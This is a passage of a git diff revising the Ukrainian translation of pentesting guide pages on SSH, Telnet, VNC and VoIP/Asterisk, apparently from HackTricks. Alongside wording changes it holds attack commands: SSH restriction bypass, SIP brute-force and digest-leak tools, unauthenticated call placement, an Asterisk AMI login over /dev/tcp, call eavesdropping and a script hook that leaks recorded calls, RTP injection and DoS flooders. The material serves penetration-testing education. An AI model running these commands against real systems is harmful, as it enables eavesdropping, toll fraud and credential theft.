як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки. +Існує поширене недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачі налаштовані з неінтерактивними оболонками (наприклад, `/usr/bin/nologin`) і обмежені до певного каталогу, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки. [Приклад звідси](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @ symlink / froot ### Методи аутентифікації -У середовищах з високою безпекою звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого пароля. Але часто більш надійні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення `publickey` у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення `password`. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод: +У середовищах з високою безпекою звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого фактору на основі пароля. Але часто більш надійні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення `publickey` у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення `password`. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` -Наприклад, якщо встановлено обмеження на кількість невдалих спроб автентифікації і ви ніколи не отримуєте можливості дістатися до методу пароля, ви можете використовувати опцію `PreferredAuthentications`, щоб примусити використовувати цей метод. +Наприклад, якщо встановлено обмеження на кількість невдалих спроб автентифікації і ви ніколи не отримуєте можливості дійти до методу пароля, ви можете використовувати опцію `PreferredAuthentications`, щоб примусити використовувати цей метод. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 5487069c9..a4393a544 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -23,13 +23,13 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` Скрипт `telnet-ntlm-info.nse` отримає інформацію NTLM (версії Windows). -З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть використовуватися зі структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо. +З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**опції**", які будуть санкціоновані і можуть бути використані зі структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо. **Я знаю, що можливо перерахувати ці опції, але не знаю як, тому дайте знати, якщо знаєте як.** ### [Brute force](../generic-hacking/brute-force.md#telnet) -## Config file +## Конфігураційний файл ```bash /etc/inetd.conf /etc/xinetd.d/telnet diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index b5f98df30..f382b9fdc 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -27,12 +27,12 @@ vncviewer [-passwd passwd.txt] ::5901 За замовчуванням **пароль зберігається** в: \~/.vnc/passwd -Якщо у вас є пароль VNC, і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому вигляді, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) +Якщо у вас є пароль VNC, і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) ```bash make vncpwd ``` -Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування простих паролів VNC, був зламаний багато років тому.\ +Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був зламаний багато років тому.\ Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ Я також зберігаю інструмент тут для зручності доступу: diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 40a2413cf..d81c53adf 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -130,16 +130,16 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ### Telephone Numbers -Одним з перших кроків, які може зробити Red Team, є пошук доступних номерів телефонів для зв'язку з компанією, використовуючи інструменти OSINT, пошук в Google або сканування веб-сторінок. +Одним з перших кроків, які може зробити Red Team, є пошук доступних телефонних номерів для зв'язку з компанією, використовуючи інструменти OSINT, пошук в Google або сканування веб-сторінок. -Коли у вас є номери телефонів, ви можете використовувати онлайн-сервіси для ідентифікації оператора: +Коли у вас є телефонні номери, ви можете використовувати онлайн-сервіси для ідентифікації оператора: - [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr) - [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Знаючи, чи надає оператор послуги VoIP, ви можете визначити, чи використовує компанія VoIP... Більше того, можливо, що компанія не наймала послуги VoIP, але використовує PSTN карти для підключення свого власного VoIP PBX до традиційної телефонної мережі. +Знаючи, чи надає оператор послуги VoIP, ви можете визначити, чи використовує компанія VoIP... Більше того, можливо, що компанія не наймала послуги VoIP, але використовує PSTN карти для підключення свого VoIP PBX до традиційної телефонної мережі. Такі речі, як автоматизовані відповіді з музикою, зазвичай вказують на те, що використовується VoIP. @@ -181,7 +181,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati ### Перерахування мережі -- **`nmap`** здатний сканувати UDP-сервіси, але через велику кількість UDP-сервісів, які скануються, він дуже повільний і може бути не дуже точним для такого роду сервісів. +- **`nmap`** здатний сканувати UDP-сервіси, але через велику кількість UDP-сервісів, які скануються, це дуже повільно і може бути не дуже точним для такого роду сервісів. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` @@ -191,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Він дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) і вказувати інший User-Agent (і не тільки). +- **`SIPPTS scan`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Він дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) та вказувати інший User-Agent (і не тільки). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -238,9 +238,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Enumeration розширень -Розширення в системі PBX (Приватна Автоматична Обмінна Станція) відносяться до **унікальних внутрішніх ідентифікаторів, призначених окремим** телефонним лініям, пристроям або користувачам в організації чи бізнесі. Розширення дозволяють **ефективно маршрутизувати дзвінки в межах організації**, без необхідності в окремих зовнішніх телефонних номерах для кожного користувача або пристрою. +Розширення в системі PBX (Приватна Автоматична Обмінна Станція) відносяться до **унікальних внутрішніх ідентифікаторів, призначених окремим** телефонним лініям, пристроям або користувачам в організації чи бізнесі. Розширення дозволяють **ефективно маршрутизувати дзвінки в межах організації**, без необхідності в індивідуальних зовнішніх телефонних номерах для кожного користувача або пристрою. -- **`svwar`** з SIPVicious (`sudo apt install sipvicious`): `svwar` є безкоштовним сканером ліній розширень SIP PBX. За своєю суттю він працює подібно до традиційних wardialers, **вгадуючи діапазон розширень або заданий список розширень**. +- **`svwar`** з SIPVicious (`sudo apt install sipvicious`): `svwar` є безкоштовним сканером ліній розширень SIP PBX. За концепцією він працює подібно до традиційних вордалікерів, **вгадуючи діапазон розширень або заданий список розширень**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` @@ -260,16 +260,16 @@ enumiax -v -m3 -M3 10.10.0.10 ``` ## VoIP Атаки -### Брутфорс паролів - онлайн +### Password Brute-Force - онлайн -Виявивши **PBX** та деякі **розширення/імена користувачів**, Червона команда може спробувати **автентифікуватися через метод `REGISTER`** до розширення, використовуючи словник загальних паролів для брутфорсу автентифікації. +Виявивши **PBX** та деякі **розширення/імена користувачів**, Червона Команда може спробувати **автентифікуватися через метод `REGISTER`** до розширення, використовуючи словник загальних паролів для брутфорсу автентифікації. > [!CAUTION] > Зверніть увагу, що **ім'я користувача** може бути таким же, як і розширення, але ця практика може варіюватися в залежності від системи PBX, її конфігурації та уподобань організації... > > Якщо ім'я користувача не таке ж, як і розширення, вам потрібно буде **з'ясувати ім'я користувача для брутфорсу**. -- **`svcrack`** з SIPVicious (`sudo apt install sipvicious`): SVCrack дозволяє зламати пароль для конкретного імені користувача/розширення на PBX. +- **`svcrack`** з SIPVicious (`sudo apt install sipvicious`): SVCrack дозволяє вам зламати пароль для конкретного імені користувача/розширення на PBX. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions @@ -294,16 +294,16 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt > Зверніть увагу, що якщо **TLS використовується в SIP комунікації**, ви не зможете бачити SIP комунікацію в чистому вигляді.\ > Те ж саме станеться, якщо використовується **SRTP** та **ZRTP**, **RTP пакети не будуть у відкритому тексті**. -#### SIP облікові дані (Password Brute-Force - offline) +#### SIP credentials (Password Brute-Force - offline) -[Перегляньте цей приклад, щоб краще зрозуміти **SIP REGISTER комунікацію**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), щоб дізнатися, як **облікові дані надсилаються**. +[Перегляньте цей приклад, щоб краще зрозуміти **SIP REGISTER комунікацію**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), щоб дізнатися, як **надсилаються облікові дані**. - **`sipdump`** & **`sipcrack`,** частина **sipcrack** (`apt-get install sipcrack`): Ці інструменти можуть **екстрагувати** з **pcap** **digest аутентифікації** в рамках SIP протоколу та **зламувати** їх. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump може витягувати аутентифікації digest з файлу pcap. +- **`SIPPTS dump`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump може витягувати автентифікації digest з файлу pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` @@ -324,22 +324,22 @@ multimon -a DTMF -t wac pin.wav ``` ### Безкоштовні дзвінки / Неправильні налаштування з'єднань Asterisk -В Asterisk можливо дозволити з'єднання **з конкретної IP-адреси** або з **будь-якої IP-адреси**: +В Asterisk можливо дозволити з'єднання **з конкретної IP-адреси** або **з будь-якої IP-адреси**: ``` host=10.10.10.10 host=dynamic ``` -Якщо вказана IP-адреса, хост **не потрібно буде надсилати REGISTER** запити час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕЄСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP-сервером для прийому дзвінків. +Якщо вказана IP-адреса, хост **не потрібно буде надсилати REGISTER** запити час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕГІСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP сервером для прийому дзвінків. Щоб визначити користувачів, їх можна визначити як: - **`type=user`**: Користувач може отримувати дзвінки лише як користувач. -- **`type=friend`**: Можливо здійснювати дзвінки як партнер і отримувати їх як користувач (використовується з розширеннями) -- **`type=peer`**: Можливо надсилати та отримувати дзвінки як партнер (SIP-транки) +- **`type=friend`**: Можливо здійснювати дзвінки як рівний і отримувати їх як користувач (використовується з розширеннями) +- **`type=peer`**: Можливо надсилати та отримувати дзвінки як рівний (SIP-транки) Також можливо встановити довіру з використанням змінної insecure: -- **`insecure=port`**: Дозволяє з'єднання партнерів, перевірених за IP. +- **`insecure=port`**: Дозволяє з'єднання рівних, перевірених за IP. - **`insecure=invite`**: Не вимагає аутентифікації для INVITE повідомлень - **`insecure=port,invite`**: Обидва @@ -373,7 +373,7 @@ exten => 100,n,Hangup() [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` -Якщо адміністратор визначає **default context** як: +Якщо адміністратор визначає **за замовчуванням контекст** як: ``` [default] include => my_context @@ -383,11 +383,11 @@ include => external > Будь-хто зможе використовувати **сервер для дзвінків на будь-який інший номер** (і адміністратор сервера заплатить за дзвінок). > [!CAUTION] -> Більше того, за замовчуванням файл **`sip.conf`** містить **`allowguest=true`**, тому **будь-який** attacker без **автентифікації** зможе дзвонити на будь-який інший номер. +> Більше того, за замовчуванням файл **`sip.conf`** містить **`allowguest=true`**, тоді **будь-який** attacker без **автентифікації** зможе дзвонити на будь-який інший номер. - **`SIPPTS invite`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite перевіряє, чи **PBX сервер дозволяє нам здійснювати дзвінки без автентифікації**. Якщо SIP сервер має неправильну конфігурацію, він дозволить нам здійснювати дзвінки на зовнішні номери. Це також може дозволити нам переадресувати дзвінок на другий зовнішній номер. -Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запити INVITE без авторизації. У цьому випадку attacker може здійснювати дзвінки, не знаючи жодного користувача/пароля. +Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запити INVITE без авторизації. У цьому випадку attacker може здійснювати дзвінки, не знаючи жодного user/pass. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -399,7 +399,7 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 IVRS означає **Систему інтерактивної голосової відповіді**, технологію телефонії, яка дозволяє користувачам взаємодіяти з комп'ютеризованою системою через голосові або тональні введення. IVRS використовується для створення **автоматизованих систем обробки дзвінків**, які пропонують ряд функцій, таких як надання інформації, маршрутизація дзвінків та захоплення введення користувача. -IVRS у VoIP системах зазвичай складається з: +IVRS у системах VoIP зазвичай складається з: 1. **Голосових підказок**: Попередньо записані аудіоповідомлення, які направляють користувачів через варіанти меню IVR та інструкції. 2. **DTMF** (Dual-Tone Multi-Frequency) сигналізація: Тональні введення, що генеруються натисканням клавіш на телефоні, які використовуються для навігації через меню IVR та надання введення. @@ -407,7 +407,7 @@ IVRS у VoIP системах зазвичай складається з: 4. **Захоплення введення користувача**: Збір інформації від абонентів, такої як номери рахунків, ID справ або будь-які інші відповідні дані. 5. **Інтеграція з зовнішніми системами**: Підключення системи IVR до баз даних або інших програмних систем для доступу або оновлення інформації, виконання дій або ініціювання подій. -У системі Asterisk VoIP ви можете створити IVR, використовуючи план набору (**`extensions.conf`** файл) та різні програми, такі як `Background()`, `Playback()`, `Read()` та інші. Ці програми допомагають вам відтворювати голосові підказки, захоплювати введення користувача та контролювати потік дзвінків. +У системі VoIP Asterisk ви можете створити IVR, використовуючи план набору (**`extensions.conf`** файл) та різні програми, такі як `Background()`, `Playback()`, `Read()` та інші. Ці програми допомагають вам відтворювати голосові підказки, захоплювати введення користувача та контролювати потік дзвінків. #### Приклад вразливої конфігурації ```scss @@ -418,7 +418,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Попередній приклад, де користувача просять **натиснути 1, щоб зателефонувати** в відділ, **2, щоб зателефонувати** в інший, або **повний номер**, якщо він його знає.\ -Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести тайм-аут 5 секунд як повний номер, і він буде набраний.** +Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести тайм-аут 5 секунд з повним номером, і він буде набраний.** ### Впровадження номера @@ -434,23 +434,23 @@ exten => 101,1,Dial(SIP/101) ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримає дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке зіставлення**, що виконується, але не існує, він може **впровадити дзвінок лише на бажаний номер**. +Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримав дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке зіставлення**, яке виконується, але не існує, він може **інжектувати дзвінок лише на бажаний номер**. ## Уразливість SIPDigestLeak -Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP на аналогові). Уразливість дозволяє **витоку відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик. +Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP на аналогові). Уразливість дозволяє **витікання відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик. **[Сценарій уразливості звідси**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. IP телефон (жертва) слухає на будь-якому порту (наприклад: 5060), приймаючи телефонні дзвінки 2. Зловмисник надсилає INVITE на IP телефон -3. Телефон жертви починає дзвонити, і хтось піднімає слухавку і кладе її (оскільки ніхто не відповідає на телефон на іншому кінці) -4. Коли телефон кладе слухавку, **телефон жертви надсилає BYE зловмиснику** +3. Телефон жертви починає дзвонити, і хтось піднімає слухавку і кладе трубку (оскільки ніхто не відповідає на телефон на іншому кінці) +4. Коли телефон кладе трубку, **телефон жертви надсилає BYE зловмиснику** 5. **Зловмисник видає відповідь 407**, яка **питає про аутентифікацію** і видає виклик на аутентифікацію 6. **Телефон жертви надає відповідь на виклик аутентифікації** в другому BYE 7. **Зловмисник може тоді здійснити атаку методом грубої сили** на відповідь на виклик на своєму локальному комп'ютері (або розподіленій мережі тощо) і вгадати пароль -- **SIPPTS leak** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak експлуатує уразливість SIP Digest Leak, яка впливає на велику кількість SIP телефонів. Вихідні дані можуть бути збережені у форматі SipCrack для брутфорсу за допомогою SIPPTS dcrack або інструменту SipCrack. +- **SIPPTS leak** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak експлуатує уразливість SIP Digest Leak, яка впливає на велику кількість SIP телефонів. Вихід може бути збережений у форматі SipCrack для брутфорсу за допомогою SIPPTS dcrack або інструменту SipCrack. ```bash sippts leak -i 10.10.0.10 @@ -488,7 +488,7 @@ write = system,call,agent,user,config,command,reporting,originate - Попередній профіль дозволяє **БУДЬ-ЯКІЙ IP-адресі підключатися** (якщо відома пароль). - Для **організації дзвінка**, як зазначено раніше, **необхідні права на читання** і **тільки** **оригінування** в **запис** є необхідними. -З цими правами будь-яка IP-адреса, що знає пароль, може підключитися і витягнути занадто багато інформації, наприклад: +З цими правами будь-який IP, що знає пароль, може підключитися і витягнути занадто багато інформації, наприклад: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 @@ -499,7 +499,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr В Asterisk можливо використовувати команду **`ChanSpy`**, вказуючи **розширення(я) для моніторингу** (або всі з них), щоб чути розмови, які відбуваються. Цю команду потрібно призначити розширенню. -Наприклад, **`exten => 333,1,ChanSpy('all',qb)`** вказує, що якщо ви **зателефонуєте** на **розширення 333**, воно буде **моніторити** **`всі`** розширення, **почне слухати** щоразу, коли починається нова розмова (**`b`**) в тихому режимі (**`q`**), оскільки ми не хочемо взаємодіяти з нею. Ви можете переходити від однієї розмови до іншої, натискаючи **`*`**, або набираючи номер розширення. +Наприклад, **`exten => 333,1,ChanSpy('all',qb)`** вказує, що якщо ви **зателефонуєте** на **розширення 333**, воно буде **моніторити** **`всі`** розширення, **почне слухати** щоразу, коли починається нова розмова (**`b`**) в тихому режимі (**`q`**), оскільки ми не хочемо взаємодіяти з цим. Ви можете переходити від однієї розмови до іншої, натискаючи **`*`**, або набираючи номер розширення. Також можливо використовувати **`ExtenSpy`** для моніторингу лише одного розширення. @@ -511,7 +511,7 @@ exten => _X.,2,MixMonitor(${NAME}) ``` Дзвінки будуть збережені в **`/tmp`**. -Ви також можете змусити Asterisk **виконати скрипт, який витече дзвінок** після його завершення. +Ви також можете змусити Asterisk **виконати скрипт, який витече дзвінок** після його закриття. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` @@ -521,7 +521,7 @@ exten => h,1,System(/tmp/leak_conv.sh &) RTP-проксі намагаються вирішити **обмеження NAT**, що впливають на RTC-системи, проксуючи RTP-потоки між двома або більше сторонами. Коли NAT активний, програмне забезпечення RTP-проксі часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому ряд RTP-проксі реалізували механізм, де такий **IP та порт автоматично вивчаються**. Це часто робиться шляхом перевірки вхідного RTP-трафіку та позначення IP та порту джерела для будь-якого вхідного RTP-трафіку як того, на який слід відповідати. Цей механізм, який може називатися "режим навчання", **не використовує жодного виду аутентифікації**. Тому **зловмисники** можуть **надсилати RTP-трафік до RTP-проксі** та отримувати проксований RTP-трафік, призначений для абонента або абонентки поточного RTP-потоку. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати RTP медіа-потоки, призначені для законних користувачів. -Ще одна цікава особливість RTP-проксі та RTP-стеків полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, які можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжектувати нелегітимні RTP-пакети в існуючі RTP-потоки. Цю уразливість можна знайти як у RTP-проксі, так і в кінцевих точках. +Ще одна цікава особливість RTP-проксі та стеків RTP полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, що можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжекцію нелегітимних RTP-пакетів у існуючі RTP-потоки. Цю уразливість можна знайти як у RTP-проксі, так і в кінцевих точках. Asterisk та FreePBX традиційно використовували **`NAT=yes` налаштування**, яке дозволяє RTP-трафіку обходити аутентифікацію, що потенційно призводить до відсутності звуку або одностороннього звуку під час дзвінків. @@ -568,9 +568,9 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) - **`Elastix.conf`** -> Містить кілька паролів у відкритому тексті, таких як пароль mysql root, пароль IMAPd, пароль веб-адміністратора. - **Кілька папок** належатимуть скомпрометованому користувачу asterisk (якщо не працює як root). Цей користувач може читати попередні файли та також контролює конфігурацію, тому він може змусити Asterisk завантажувати інші скомпрометовані бінарні файли під час виконання. -### RTP Injection +### Впровадження RTP -Можливо вставити **`.wav`** у розмови, використовуючи такі інструменти, як **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) та **`rtpmixsound`** (`sudo apt install rtpmixsound`). +Можливо вставити **`.wav`** у розмови, використовуючи інструменти, такі як **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) та **`rtpmixsound`** (`sudo apt install rtpmixsound`). Або ви можете використовувати скрипти з [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) для **сканування розмов** (**`rtpscan.pl`**), відправки `.wav` у розмову (**`rtpsend.pl`**) та **вставки шуму** у розмову (**`rtpflood.pl`**). @@ -584,16 +584,16 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS протоколу IAX, що використовується Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Інструмент для виконання затоплення повідомлень SIP/SDP INVITE через UDP/IP. -- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Надсилає кілька добре сформованих RTP пакетів. Необхідно знати RTP порти, які використовуються (спочатку прослухайте). +- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Надсилає кілька добре сформованих RTP пакетів. Потрібно знати RTP порти, які використовуються (спочатку прослухайте). - [**SIPp**](https://github.com/SIPp/sipp): Дозволяє аналізувати та генерувати SIP трафік, тому його також можна використовувати для DoS. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP швейцарський армійський ніж. Також може бути використаний для виконання SIP атак. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). -### OS Vulnerabilities +### Уразливості ОС -Найпростіший спосіб встановити програмне забезпечення, таке як Asterisk, - це завантажити **дистрибутив ОС**, який вже має його встановленим, наприклад: **FreePBX, Elastix, Trixbox**... Проблема з цими дистрибутивами полягає в тому, що, коли вони почнуть працювати, системні адміністратори можуть **більше не оновлювати їх**, і **вразливості** будуть виявлені з часом. +Найпростіший спосіб встановити програмне забезпечення, таке як Asterisk, - це завантажити **дистрибутив ОС**, який вже має його встановленим, наприклад: **FreePBX, Elastix, Trixbox**... Проблема з цими дистрибутивами полягає в тому, що, як тільки вони починають працювати, системні адміністратори можуть **більше не оновлювати їх**, і **вразливості** будуть виявлені з часом. -## References +## Посилання - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index e72b09c00..360ca1706 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -45,9 +45,9 @@ H.323 є **набором протоколів** для мультимедійн 1. **Термінали**: Це кінцеві пристрої, такі як IP-телефони, системи відеоконференцій або програмні додатки, які підтримують H.323 і можуть брати участь у мультимедійних сеансах зв'язку. 2. **Шлюзи**: Ці пристрої перетворюють медіа-потоки між різними мережами, такими як традиційна телефонія з комутацією каналів та пакетна IP-мережа, що дозволяє взаємодію між H.323 та іншими системами зв'язку. Вони також можуть включати додаткову функціональність, таку як транскодування або скасування відлуння. 3. **Контролери доступу (Gatekeepers)**: Це необов'язкові компоненти, які надають послуги управління та контролю дзвінків у мережі H.323. Вони виконують функції, такі як трансляція адрес, управління пропускною здатністю та контроль доступу, допомагаючи управляти та оптимізувати мережеві ресурси. -4. **Багатоточкові контролюючі пристрої (MCU)**: Ці пристрої полегшують багатоточкові конференції, управляючи та змішуючи медіа-потоки з кількох кінцевих пристроїв. MCU дозволяють реалізувати такі функції, як контроль розташування відео, перемикання за голосом та безперервна присутність, що робить можливим проведення конференцій великого масштабу з кількома учасниками. +4. **Пристрої контролю мультипунктів (MCU)**: Ці пристрої полегшують мультипунктові конференції, управляючи та змішуючи медіа-потоки з кількох кінцевих пристроїв. MCU дозволяють такі функції, як контроль макету відео, перемикання за голосом та безперервна присутність, що робить можливим проведення конференцій великого масштабу з кількома учасниками. -H.323 підтримує ряд аудіо- та відеокодеків, а також інші додаткові послуги, такі як переадресація дзвінків, передача дзвінків, утримання дзвінків та очікування дзвінків. Незважаючи на його широке використання на початку епохи VoIP, H.323 поступово замінюється більш сучасними та гнучкими протоколами, такими як **Протокол ініціації сеансу (SIP)**, який пропонує кращу взаємодію та простішу реалізацію. Однак H.323 залишається в використанні в багатьох застарілих системах і продовжує підтримуватися різними постачальниками обладнання. +H.323 підтримує ряд аудіо- та відеокодеків, а також інші 